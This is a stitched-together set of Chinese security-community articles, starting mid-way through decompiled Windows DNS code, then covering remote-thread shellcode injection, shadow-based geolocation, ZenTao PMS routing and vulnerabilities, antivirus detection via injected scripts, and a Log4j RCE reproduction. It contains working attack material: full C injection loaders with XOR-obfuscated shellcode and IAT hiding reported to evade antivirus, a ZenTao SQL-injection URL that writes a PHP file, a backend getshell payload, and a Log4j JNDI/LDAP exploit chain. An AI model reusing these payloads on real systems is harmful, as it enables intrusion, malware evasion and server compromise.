if ( a2 )
{
if ( a2 > 52u )
{
if ( (unsigned __int16)(a2 + 0xFF) <= 1u )
v2 = a2 + 0x134;
else
v2 = 0;
}
if ( !v2 || (result = a1[v2]) == 0 )
result = *a1;
}
else
{
if ( WPP_GLOBAL_Control != (CDnsClientSubnetRecordsTrie *)&WPP_GLOBAL_Control
&& *((_BYTE *)WPP_GLOBAL_Control + 28) & 1
&& *((_BYTE *)WPP_GLOBAL_Control + 25) >= 4u )
{
WPP_SF_(*((_QWORD *)WPP_GLOBAL_Control + 2), 10i64, &WPP_78f9f773bfac3ce873e2989308e70330_Traceguids);
}
result = 0i64;
}
return result;
}
该解析函数使传入任意非零的rr
type值都能找到相关rr的构造函数的CopyWireRead地址，造成类型混淆，进一步转换类型混淆会导致任意地址读或任意地址写后果，最终可能导致任意代码执行。而且，部分非默认的DNS
server甚至支持版本查询，从而使该漏洞更加具有利用价值。
通常，在Windows DNS的域名信息缓存记录过程中，信息会被写入一个个rrecord中。 rrcord的类型一般有20多种，包括：
A: 主机地址信息
AAAA: ipv6主机地址
SOA: 标记权威区域地址
……
每一种rrecord的结构都各不相同。在测试包中，笔者将Copyrrcord混淆为type值为0xf0f0类型、Windows自定义的特殊rrcord类型。在此类型中，rrcord偏移的0x20、0x28、0x30、0x38处都是一个指针指向另外一个record，而在Copyrrcord类型中，偏移0x20、0x28、0x30处的值为0，偏移0x38处为一个长度可控的buf的起始位置。0xf0f0类型和copyrrecord类型的rrecord结构如图2和图3所示。
图2 0xf0f0类型的rrecord结构
图3 Copyrrecord类型(type值为0或者其它)rrecord结构
在测试包中实现的是可写部分用于触发崩溃，通过调用RR_Free函数清理现场（当报文处理函数发现报文畸形时，将会拒绝继续处理报文并清理现场）。这样即可控制free函数，free任意一个地址。
实际上，到了这一步已经可以开始尝试进行利用漏洞。当向dns
server缓存大量rrecord记录时，可等同于堆喷效果。尝试向0x0c0c0c0c0c0c0c0c或其它地址进行free，造成释放后使用
(UAF)，再转为可读或可写，最终完成任意代码执行。相关代码如下：
void __fastcall RR_Free(__int64 a1)
{
……
if ( *(_WORD *)(v1 + 12) == 0xF0F0u || *(_BYTE *)(v1 + 10) < 0 )
{
if ( WPP_GLOBAL_Control != (CDnsClientSubnetRecordsTrie *)&WPP_GLOBAL_Control
&& *((_DWORD *)WPP_GLOBAL_Control + 17) & 0x100
&& *((_BYTE *)WPP_GLOBAL_Control + 65) >= 5u )
{
v9 = *(unsigned __int16 *)(v1 + 12);
WPP_SF_qd(*((_QWORD *)WPP_GLOBAL_Control + 7), 10i64, &WPP_103a918d359034d16f977c36c11204c8_Traceguids, v1);
}
RR_ListFree(*(_QWORD **)(v1 + 56));
……
在后续函数Wire_AddResourceRecordToMessage
（为响应报文中写入rrcord中记录的信息）中，我们还可以尝试进行反向混淆操作，如即将其它类型的rrcord混淆为Copyrrcord，造成信息泄漏等。 | 社区文章 |
# 远线程注入
## Author：ILU
## 学的越多，才知道自己的渺小
## 前言
前两天更新了过waf相关的内容，这部分内容其实是为了调剂下枯燥的win32学习过程。开心的是阅读的人蛮多的，伤心的是没人进星球，可能太基础了吧。
今天要写的是远线程注入相关的知识，此部分可以对远程进程进行shellcode注入，dll注入或者代码的注入等。C语言真的很强大，对于操作系统来讲，无所不能啊。
## 正题
###### 什么是远线程注入？
`远程线程注入是指一个进程在另一个进程中创建线程的技术`
举个例子：比如说我当前打开了一个进程A，然后通过某些手段：比如自己写一个程序，利用此程序获取当前打开进程A的句柄（句柄相当于一个控制器，我们拿到指定进程的句柄我们就可以对此进程做一些控制），然后通过句柄在进程A中调用我们想要执行的代码等等操作。
##### OpenProcess
OpenProcess 函数打开一个现有的进程对象。
HANDLE OpenProcess(
DWORD dwDesiredAccess, // 访问进程对象标志
BOOL bInheritHandle, // 是否继承句柄权限
DWORD dwProcessId // 要打开的进程id，也就是pid
);
##### VirtualAllocEx
VirtualAllocEx 函数在指定进程的虚拟地址空间内保留或提交内存区域。 该函数将其分配的内存初始化为零，除非使用 MEM_RESET。
LPVOID VirtualAllocEx(
HANDLE hProcess, // 打开的进程句柄
LPVOID lpAddress, // 设置为NULL
SIZE_T dwSize, // 申请的内存大小
DWORD flAllocationType, // 指定内存分配的类型
DWORD flProtect // 设置内存的权限
);
##### WriteProcessMemory
WriteProcessMemory 函数将数据写入指定进程中的内存区域。 要写入的整个区域必须可访问，否则操作将失败。
BOOL WriteProcessMemory(
HANDLE hProcess, // 打开的进程句柄
LPVOID lpBaseAddress, // 申请的内存地址
LPCVOID lpBuffer, // 要写入内存的数据
SIZE_T nSize, // 数据的大小
SIZE_T * lpNumberOfBytesWritten // NULL
);
##### CreateRemoteThread
CreateRemoteThread 函数创建一个在另一个进程的虚拟地址空间中运行的线程。
HANDLE CreateRemoteThread(
HANDLE hProcess, // 进程句柄
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 线程安全属性，不设置就写NULL或0
SIZE_T dwStackSize, // 初始堆栈大小，不设置就写NULL或0
LPTHREAD_START_ROUTINE lpStartAddress, // 要执行的线程函数
LPVOID lpParameter, // 函数的参数
DWORD dwCreationFlags, // 指定控制线程创建的附加标志，设置NULL
LPDWORD lpThreadId // 线程ID
);
##### CreateToolhelp32Snapshot
CreateToolhelp32Snapshot函数拍摄进程以及进程使用的堆、模块和线程的快照。
HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //指定要包含在快照中的系统部分。
DWORD th32ProcessID //指定进程id，没有就设置NULL
);
dwFlags：
TH32CS_SNAPPROCESS 在快照中包含进程列表。
##### Process32First
检索有关系统快照中遇到的第一个进程的信息。
BOOL WINAPI Process32First(
HANDLE hSnapshot, // 快照句柄
LPPROCESSENTRY32 lppe // 指向 PROCESSENTRY32 结构的指针。
);
##### Process32Next
检索有关系统快照中记录的下一个进程的信息
BOOL WINAPI Process32Next(
HANDLE hSnapshot, // 快照句柄
LPPROCESSENTRY32 lppe // 指向 PROCESSENTRY32 结构的指针。
);
#### 通过遍历当前进程向指定进程注入shellcode
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <TlHelp32.h>
BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
HANDLE hProcess = NULL;;
DWORD dwThreadId = 0;
HANDLE hThread = NULL;
LPVOID lPmemory = 0;
unsigned char buf[] = "异或后的shellcode";
// 异或还原代码
for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 50;
}
// 打开进程
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
if (hProcess == NULL) {
printf("%d\n", GetLastError());
return FALSE;
}
// 申请内存
lPmemory = VirtualAllocEx(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 写入内存
WriteProcessMemory(hProcess, lPmemory, buf, sizeof(buf), NULL);
// 创建线程
hThread = CreateRemoteThread(
hProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)lPmemory,
NULL,
NULL,
&dwThreadId
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main() {
// 遍历进程获取指定进程id
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId;
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (_stricmp(pe32.szExeFile, "notepad.exe")) {
dwProcessId = pe32.th32ProcessID;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
// 远线程注入函数调用
MyCreateRemoteThread(dwProcessId);
return 0;
}
编译火绒没报毒，物理机defender扫描没报毒，且正常上线。但是在server
2016的defender会主动杀掉，看来还需要进一步做处理，对导入地址表中的函数做一下隐藏，也许会好点。
##### 隐藏函数IAT
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <TlHelp32.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 隐藏黑框
typedef LPVOID (WINAPI* oldVirtualAllocEx)(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
typedef BOOL (WINAPI* oldWriteProcessMemory)(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize,SIZE_T* lpNumberOfBytesWritten);
typedef HANDLE (WINAPI* oldCreateRemoteThread)(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
typedef HANDLE (WINAPI* oldCreateToolhelp32Snapshot)(DWORD dwFlags,DWORD th32ProcessID);
typedef DWORD (WINAPI* oldWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
BOOL WINAPI MyCreateRemoteThread(DWORD dwProcessId) {
HANDLE hProcess = NULL;;
DWORD dwThreadId = 0;
HANDLE hThread = NULL;
LPVOID lPmemory = 0;
unsigned char buf[] = "";
for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 50;
}
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, dwProcessId);
if (hProcess == NULL) {
printf("%d\n", GetLastError());
return FALSE;
}
oldVirtualAllocEx newVAE = (oldVirtualAllocEx)GetProcAddress(GetModuleHandleA("kernel32.dll"),"VirtualAllocEx");
oldWriteProcessMemory newWPM = (oldWriteProcessMemory)GetProcAddress(GetModuleHandleA("kernel32.dll"),"WriteProcessMemory");
oldCreateRemoteThread newCRTE= (oldCreateRemoteThread)GetProcAddress(GetModuleHandleA("kernel32.dll"),"CreateRemoteThread");
oldWaitForSingleObject newWFSO= (oldWaitForSingleObject)GetProcAddress(GetModuleHandleA("kernel32.dll"),"WaitForSingleObject");
lPmemory= newVAE(hProcess, 0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
newWPM(hProcess, lPmemory, buf, sizeof(buf), NULL);
hThread = newCRTE(
hProcess,
NULL,
NULL,
(LPTHREAD_START_ROUTINE)lPmemory,
NULL,
NULL,
&dwThreadId
);
newWFSO(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return TRUE;
}
int main() {
HANDLE hProcessSnap = NULL;
BOOL bRet = FALSE;
PROCESSENTRY32 pe32 = { 0 };
DWORD dwProcessId;
oldCreateToolhelp32Snapshot newCT32 = (oldCreateToolhelp32Snapshot)GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateToolhelp32Snapshot");
hProcessSnap = newCT32(TH32CS_SNAPPROCESS, NULL);
pe32.dwSize = sizeof(PROCESSENTRY32);
if (hProcessSnap != INVALID_HANDLE_VALUE) {
bRet = Process32First(hProcessSnap, &pe32);
while (bRet) {
if (_stricmp(pe32.szExeFile, "QQ.exe")) {
dwProcessId = pe32.th32ProcessID;
}
bRet = Process32Next(hProcessSnap, &pe32);
}
}
MyCreateRemoteThread(dwProcessId);
return 0;
}
IAT隐藏后还是过不了server 2016 的windows defender，还需要进一步针对性的做处理，但是目前来讲能过其他大部分的杀软。 | 社区文章 |
# 通过太阳和投射的阴影进行人员地理位置定位
##### 译文声明
本文是翻译文章，文章原作者 黑鸟，文章来源：黑鸟
原文地址：<https://mp.weixin.qq.com/s/SY3YXYse94AvP8IXaghlyw>
译文仅供参考，具体内容表达以及含义原文为准。
近日，著名开源情报分析公司贝灵猫发布了一篇关于通过太阳投射的阴影位置进行地理定位的教程，基于此以后恐怕只敢在室内拍照了，下面请看详情。
首先需要先介绍一个免费工具，该工具名为SunCalc，可以用来定位计时。
(Chronolocation)地址：https://www.suncalc.org/
如下图所示，根据右侧的太阳阴影位置可以判断图片当前时间，并结合当地位置（右图为亚美和阿塞交战处），判断出时间大概为14:00。这个就是通过地理位置计算时间，简称定位计时。
但其还有一个功能便是允许用户在任何给定的时间和日期，在任何给定的位置分析阴影和太阳的位置。通过选择日期并放大某个位置（例如马德里的太阳门广场），用户可以单击页面顶部的太阳拖动图标以查看特定时间的太阳位置。
以下屏幕截图显示了2020年11月22日正午太阳在马德里的太阳门上的位置。此外，当用户选择任何对象的高度时，该算法会指示阴影的相应长度。
因此，通过逆向原理，理论上，通过太阳和其投射的阴影位置，再结合一些外部因素，可以推测出当事人所处位置。
下面这个教学案例，通过排除误报并确定相机在特定帧中指向哪个方向，该技术在缩小搜索范围方面可能非常有效。
下面的视频是于2020年11月22日，由一名Instagram的未知用户上传，上传24小时后个人资料中便看不见该视频了。
通过对该视频进行分析，视频带有时间戳，并清晰显示太阳和阴影。这是第一个提示。第二个是该用户会说葡萄牙语。
换句话说，它可能是在葡萄牙语圈 (Lusophone)国家（可能是巴西，葡萄牙或非洲的葡萄牙语国家）拍摄的。尽管背景音乐（XandAvião的Surra
de cama，视频左上角有写）是巴西歌手创作的，但该视频实际上是在葡萄牙拍摄的。
在葡萄牙拍摄的原因如下，该视频的时间戳表明该视频是在下午4:31（UTC）拍摄的。此外，在Instagram上打开故事时，读者可以发现故事的上传时间（例如“
25分钟前”）。这两个时间戳均与葡萄牙的实际时间相对应，这意味着该视频也在大约下午4:31（UTC）上传。但是，即使没有时间戳记，观察者也可以看到这些镜头是在傍晚拍摄的。
可以假设该视频是在里斯本拍摄的，这是合理的，因为它是葡萄牙最大的都会区。视频中可以看到海洋，城市看起来是中型或大型。
所有这些都可以使用SunCalc进行校验。在这种情况下，请打开SunCalc网站并选择2020年11月22日下午4:31。可以复制下面链接打开查看
https://www.suncalc.org/#/38.7068,-9.166,12/2020.11.22/16:31/50/1
如上图所示，当时正好是太阳落山，并落在城市的西南方向。在视频中，拍摄人右边的太阳在海面之上。
同样清楚的是，这些镜头是从四车道大道旁的一间公寓拍摄的，中间有一排棕榈树，中间是一个停车场，还有一个细长的环形交叉路口，最近似乎在修建：
视频展开查看
到目前为止，我们知道该视频是在下午4:31拍摄的，当时太阳在西南方向。因此，我们可以得出结论，拍摄的人是朝南的，大道的方向大致从东到西。我们也知道大海或海湾位于该位置的南部。这能够整理出如下草图：
如果海洋或其他水域必须位于南部，则不包括多个地点-不仅是内陆地区，还有塔霍河以南的大里斯本地区。此外，考虑到该大道不仅从东向西延伸，而且与海岸线平行，我们还可以排除塔霍河口上里斯本东北的大部分地方。
这将可能的位置范围缩小到里斯本市中心以西，一直到卡斯凯什的海岸。重要的是，在镜头中看不到塔霍河口的另一侧。这表明该视频是在塔霍河与海洋或大西洋沿岸的西部拍摄的。
沿着海岸线从东到西进行搜索，寻找一条狭窄的环形交叉路口附近被一排棕榈树分隔开的宽阔大道，如果使用Google Maps或Google
Earth的卫星图像，则可能会完全错过拉长的环形交叉路口，但即使如此，也很难错过位于Oeiras的具有特色的Avenida
daRepública位置，它有四个车道和一排棕榈树。附近没有其他类似的街道。
如下图，红框中的房子就是拍摄者所处位置。
该方法适用于大概明确所处国家或地区，然后用来进行误报排除的手段，通过这个案例，希望各位在下次发视频的时候可以注意一下。
原文链接：
https://www.bellingcat.com/resources/2020/12/03/using-the-sun-and-the-shadows-for-geolocation/ | 社区文章 |
# 禅道pms-路由及漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
故事起源于一次校园网内扫描，扫到一台禅道的服务器，遂开始分析起了一些历史漏洞，但是由于版本原因在服务器上都没有成功 ==、
文本分析了下禅道中路由的设置，以及一些历史漏洞，若有疏漏，还望斧正。
## 路由分析
路由是分析和审计cms前一个很重要的点，能了解整个cms的基本框架和代码流程。
禅道各个版本中路由没有什么较大的变化，这里以9.1.2为例进行分析。
首先，禅道里有两种类型的路由，分别对应者两种不同的url访问方式
* PATHINFO：`user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html` 以伪静态形式在html名称中传参
* GET：`index.php?m=block&f=main&mode=getblockdata` 类似于其他常规cms在get参数中传参
### index.php
贴代码太多了，就放张图片好了。
一开始是加载了一些框架的类，然后new了一个路由
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
然后做了一些简单的判断和是否安装，最主要的是最后的三行
$app->parseRequest();
$common->checkPriv();
$app->loadModule();
看方法名也大致能猜到是干嘛了，分别对应着`参数解析`、`权限检测`、`模块加载`
### router.class.php
路由的代码文件在`frameworkbaserouter.class.php`中
public function parseRequest()
{
if(isGetUrl())
{
if($this->config->requestType == 'PATH_INFO2') define('FIX_PATH_INFO2', true);
$this->config->requestType = 'GET';
}
if($this->config->requestType == 'PATH_INFO' or $this->config->requestType == 'PATH_INFO2')
{
$this->parsePathInfo();
$this->setRouteByPathInfo();
}
elseif($this->config->requestType == 'GET')
{
$this->parseGET();
$this->setRouteByGET();
}
else
{
$this->triggerError("The request type {$this->config->requestType} not supported", __FILE__, __LINE__, $exit = true);
}
}
一开始的`isGetUrl`就会判断是那种类型的传参方式
function isGetUrl()
{
$webRoot = getWebRoot();
if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}?") === 0) return true;
if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php?") === 0) return true;
if(strpos($_SERVER['REQUEST_URI'], "{$webRoot}index.php/?") === 0) return true;
return false;
}
然后就以对应的方式进行参数解析，完成`router`中三个主要元素的加载
* `moduleName` 模块名称
* `methodName`方法名称
* `controlFile` 控制文件
解析完参数之后就是返回`index.php`然后权限检测，再进入`loadMoulde`加载模块
通过动态调试以及注释可以看到，一开始是设置了模块名、方法名一些参数，并创建了`control`控制器实例
之后就是根据`GET`或者`PATHINFO`的形式获取参数
全部准备工作做好之后就进入
call_user_func_array(array($module, $methodName), $this->params);
进行动态方法调用，调用`/module/xxx/control.php`中的`xxx`函数
例如我这里传入的url是`index.php?m=block&f=main&mode=getblockdata&blockid=case`
就会进入到`/module/block/control.php`中的`public function main`函数中，并传入对应的参数
这样就结束了路由的解析，正式进入到逻辑函数的处理
不同的url会对应到不同的文件的不同函数中，这也正是路由的功能
明白了如何禅道中是如何进行路由配置的，也就更容易理解整个框架，从而进行分析。
## 前台SQL注入
漏洞一开始爆出是在9.1.2版本，后续几个版本似乎进行了过滤，但是过滤不完全，依旧有注入的危险
测试版本为9.1.2
### 漏洞分析
漏洞发生在sql类的核心库文件中`lib/base/dao/dao.class.php:1915`
public function orderBy($order)
{
if($this->inCondition and !$this->conditionIsTrue) return $this;
$order = str_replace(array('|', '', '_'), ' ', $order);
/* Add "`" in order string. */
/* When order has limit string. */
$pos = stripos($order, 'limit');
$orders = $pos ? substr($order, 0, $pos) : $order;
$limit = $pos ? substr($order, $pos) : '';
$orders = trim($orders);
if(empty($orders)) return $this;
if(!preg_match('/^(w+.)?(`w+`|w+)( +(desc|asc))?( *(, *(w+.)?(`w+`|w+)( +(desc|asc))?)?)*$/i', $orders)) die("Order is bad request, The order is $orders");
$orders = explode(',', $orders);
foreach($orders as $i => $order)
{
$orderParse = explode(' ', trim($order));
foreach($orderParse as $key => $value)
{
$value = trim($value);
if(empty($value) or strtolower($value) == 'desc' or strtolower($value) == 'asc') continue;
$field = $value;
/* such as t1.id field. */
if(strpos($value, '.') !== false) list($table, $field) = explode('.', $field);
if(strpos($field, '`') === false) $field = "`$field`";
$orderParse[$key] = isset($table) ? $table . '.' . $field : $field;
unset($table);
}
$orders[$i] = join(' ', $orderParse);
if(empty($orders[$i])) unset($orders[$i]);
}
$order = join(',', $orders) . ' ' . $limit;
$this->sql .= ' ' . DAO::ORDERBY . " $order";
return $this;
}
在最后的语句拼接处可以看到，对`$limit`变量直接进行了拼接，而且前面也没有进行严格的过滤于判断
$order = join(',', $orders) . ' ' . $limit;
然后漏洞发现者找了个调用这个`orderby`方法的地方
在访问`index.php?m=block&f=main&mode=getblockdata&blockid=case`时就会进入`module/block/control.php:296`的main函数部分
然后进入`getblockdata`分支，对传入的`param`参数进行解码，然后赋值给$this->params
$params = $this->get->param;
$params = json_decode(base64_decode($params));
...
$this->params = $params;
最后会调用到`printCaseBlock`方法
`printCaseBlock`中`openedbyme`分支会对传入的`$this->params->orderBy`带入到`orderBy`函数中
由于没有进行严格的限制，从而拼接之后执行，造成了sql注入
### 漏洞利用
假如是root权限，就可以利用pdo的多段查询，直接导出数据，生成php文件，从而getshell
访问url
index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO3NlbGVjdCAnPD9waHAgcGhwaW5mbycgaW50byBvdXRmaWxlICdkOi9lLnBocCcjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
在`referrer`中添加`http://localhost/`或者就是你访问的网页url
param参数为一段json的base64编码解码之后就是
{"orderBy":"order limit 1,1;select '<?php phpinfo' into outfile 'd:/e.php'#","num":"1,1","type":"openedbyme"}
修改`select '<?php phpinfo' into outfile 'd:/e.php'`部分数据就可以执行想要的sql语句
假如权限不够的时候，就可以利用一些报错或者盲注的方式，由于PDO的原因，会相对来的比较复杂
柠檬师傅的[文章](https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html)中写的很详细了，就不班门弄斧了
## 后台getshell
测试版本为9.1.2
### 漏洞分析
问题出现在`module/api/control.php:38`的`getModel`函数中
public function getModel($moduleName, $methodName, $params = '')
{
parse_str(str_replace(',', '&', $params), $params);
$module = $this->loadModel($moduleName);
$result = call_user_func_array(array(&$module, $methodName), $params);
if(dao::isError()) die(json_encode(dao::getError()));
$output['status'] = $result ? 'success' : 'fail';
$output['data'] = json_encode($result);
$output['md5'] = md5($output['data']);
$this->output = json_encode($output);
die($this->output);
}
在第三行里面使用了回调函数，而传入的参数正好就是通过get方式传入的，导致了参数的可控
$result = call_user_func_array(array(&$module, $methodName), $params);
这里需要一个找一个文件写入的点，然后调用就可以了，于是可以来到`module/editor/model.php:371`
public function save($filePath)
{
$fileContent = $this->post->fileContent;
$evils = array('eval', 'exec', 'passthru', 'proc_open', 'shell_exec', 'system', '$$', 'include', 'require', 'assert');
$gibbedEvils = array('e v a l', 'e x e c', ' p a s s t h r u', ' p r o c _ o p e n', 's h e l l _ e x e c', 's y s t e m', '$ $', 'i n c l u d e', 'r e q u i r e', 'a s s e r t');
$fileContent = str_ireplace($gibbedEvils, $evils, $fileContent);
if(get_magic_quotes_gpc()) $fileContent = stripslashes($fileContent);
$dirPath = dirname($filePath);
$extFilePath = substr($filePath, 0, strpos($filePath, DS . 'ext' . DS) + 4);
if(!is_dir($dirPath) and is_writable($extFilePath)) mkdir($dirPath, 0777, true);
if(is_writable($dirPath))
{
file_put_contents($filePath, $fileContent);
}
else
{
die(js::alert($this->lang->editor->notWritable . $extFilePath));
}
}
可以看到这里虽然做了一些简单字符的过滤，但是丝毫不影响写入shell
只要在api处调用这个函数即可任意文件写入，从而getshell
### 漏洞利用
这是一个后台的洞，所以需要登录到后台
之后访问如下url
localhost/zentaopms912/www/index.php
?m=api
&f=getModel
&moduleName=editor&methodName=save
¶ms=filePath=../e.php
POST中传入
fileContent=<?php $_POST[_]($_POST[1]);
就会在`www`目录下生成1.php文件
getshell
## Reference Links
<https://www.cnblogs.com/iamstudy/articles/chandao_pentest_1.html>
<http://seaii-blog.com/index.php/2018/07/02/83.html> | 社区文章 |
Windows7是我经常工作使用的操作系统，为了进一步保证安全性，我安装了[卡巴斯基网络安全反病毒软件——KIS](https://www.kaspersky.com/internet-security)。有一天，我在一个网页中发现一段有趣的代码，然而这段代码本身并不应该出现在这样的网页中。
为什么 FaceBook
的网站嵌入了卡巴斯基站点的js文件？我马上意识到，我所安装的杀软（卡巴斯基）针对https进行了类似中间人攻击（MITM）的行为，并在当前活动的页面中注入了它自己的代码以便跟踪分析网页。
嗯……，为什么不创建一个特定的网页来监视那段JavaScript代码呢？并且利用这点可以分析出客户端安装了哪种杀软？包括KIS。
创建第一个网页——iframe.html：
<!DOCTYPE html> <html> <head/> <img src=x /> <script type="text/javascript" /> </html>
再创建第二个网页——index.html:
<!DOCTYPE html> <html> <head> <title>Remotely AV detection</title> </head> <body> <iframe style="width:10px; height:10px; display:block; visibility:show" id="frmin" src="/iframe.html"></iframe> <button onclick="myFunction()">Check AV</button> <script> function myFunction() { var frm = document.getElementById("frmin"); ka = frm.contentDocument.getElementsByTagName('html')[0].outerHTML; if (ka.indexOf("kasperskylab_antibanner") !== -1) { alert("AV name is Kaspersky"); } } </script> </body> </html>
当我们打开 index.html 时，它会加载 iframe.html 并且注入js代码，通过 **img**
标签，我们可以看到它改变了iframe.html的代码。
很好，KIS反病毒软件需要从iframe.html获取代码并且解析字符串，如果网页中包含 **kasperskylab_antibanner**
则代表客户端的计算机中安装了KIS反病毒软件。
接下来，我将会尝试其他杀毒软件的检测方法，例如： Avira, Norton,
DrWeb。这三种杀毒软件会安装Chrome扩展，同样会对网页内容进行注入，如此一来，我们就可以用同样的方法检测杀软类型了。
**Dr.Web（大蜘蛛）**
Dr.Web（大蜘蛛）的版本为11.0
Chrome扩展名称为：Dr.Web Anti-Virus Link Checker
扩展地址：<https://chrome.google.com/webstore/detail/drweb-anti-virus-link-che/aleggpabliehgbeagmfhnodcijcmbonb?hl=en-US>
在index.html中它会注入如下代码：
可以使用简单的JS代码来检测用户是否安装了该杀毒软件：
<script> if (document.getElementsByClassName('drweb_btn').length > 0) { alert("AV name is DrWeb"); } </script>
**Avira（小红伞）**
安装 Avira Pro 版本时，它会安装两个Chrome扩展， Avira Browser Safety 和 Avira Save Search
Plus。
小红伞会在index.html页面中注入一个 iframe，如下：
检测小红伞扩展程序的代码如下：
var AV = document.getElementById("abs-top-frame") if (AV!==null) { if ( AV.outerHTML.indexOf('/html/top.html')>=0 & AV.outerHTML.indexOf('chrome-extension://')>=0 ) { alert("AV name is Avira"); } }
### Norton（诺顿）
Norton 同样会安装两个Chrome扩展：
Norton注入的代码如下图所示：
同样可以用很简单的JS代码来检测是否安装了Norton：
var NAV = document.getElementById('coFrameDiv'); if ( NAV !== null) { var nort = NAV.outerHTML; if (nort.indexOf('coToolbarFrame')>=0 & nort.indexOf('/toolbar/placeholder.html')>=0 & nort.indexOf('chrome-extension://')>=0 ) { alert("AV name is Norton"); } }
**结论**
这种检测AV的方法并不是100%的有效，毕竟用户可以禁用掉杀毒软件安装的Chrome扩展。检测代码地址：<https://github.com/vah13/AVDetection>
本文翻译于vah13.github.io，如若转载，请注明来源于嘶吼： <http://www.4hou.com/technology/3133.html> | 社区文章 |
# Log4J 漏洞复现+漏洞靶场
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前几天晚上朋友圈算是过了年了，一个log4j大伙都忙了起来，看着朋友圈好久没这么热闹了。Apache
的这个log4j这个影响范围的确是大，包括我自己做开发的时候也会用到log4j，这就很尴尬了。
大家也不要在公网上疯狂测试了，我给大家带来了漏洞靶场，攻击视频在下文，一步一步教你。
漏洞原理我改天会详细的写一篇文章出来，今天就主要是复现一下漏洞。
昨晚爆出的log4j rce
是通过lookup触发的漏洞，但jdk1.8.191以上默认不支持ldap协议，对于高版本jdk,则需要一定的依赖。不过为了给大家最简单的说明，我这里还是用jdk1.8.144的版本来运行。
这个漏洞和fastjson的漏洞利用如出一辙，首先需要编写一个恶意类。
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
这里是弹出计算器
把这个类编译之后会得到一个Exploit.class，然后需要在当前目录下启动一个web服务，
python3 -m http.server 8100
然后用 **[marshalsec](https://github.com/mbechler/marshalsec)**
IDAP服务，项目地址：<https://github.com/mbechler/marshalsec>
java -cp /Users/fengxuan/Downloads/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8100/#Exploit"
漏洞类
package com.evalshell.webstudy;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-fengxuan")
public class HelloServlet extends HttpServlet {
private String message;
private static final Logger logger = LogManager.getLogger(HelloServlet.class);
public void init() {
message = "Hello World!";
}
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
response.setContentType("text/html");
response.setHeader("Content-Type", "text/html; charset=utf-8");
System.out.println(request.getQueryString());
// Hello
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<span>你好，兄弟，请用post请求来搞我！</span>");
out.println("</body></html>");
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String name = req.getParameter("c");
System.out.println(name);
logger.error(name);
resp.setContentType("text/html");
resp.setHeader("Content-Type", "text/html; charset=utf-8");
PrintWriter out = resp.getWriter();
out.println("<html><body>");
out.println("<h1>可恶！又被你装到了！</h1>");
out.println("</body></html>");
}
public void destroy() {
}
}
## 最后运行
视频演示
[https://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247513120&idx=1&sn=b3868562803c5200a0daf59c162d3ba3&chksm=ec2695b8db511cae5394407dbf51fb1f4452ba806c0ea4e921031d2934f2710944f3e951fc6f&token=1121957306&lang=zh_CN#rd](https://mp.weixin.qq.com/s?__biz=MzI5MDE0MjQ1NQ==&mid=2247513120&idx=1&sn=b3868562803c5200a0daf59c162d3ba3&chksm=ec2695b8db511cae5394407dbf51fb1f4452ba806c0ea4e921031d2934f2710944f3e951fc6f&token=1121957306&lang=zh_CN#rd)
## 漏洞靶场
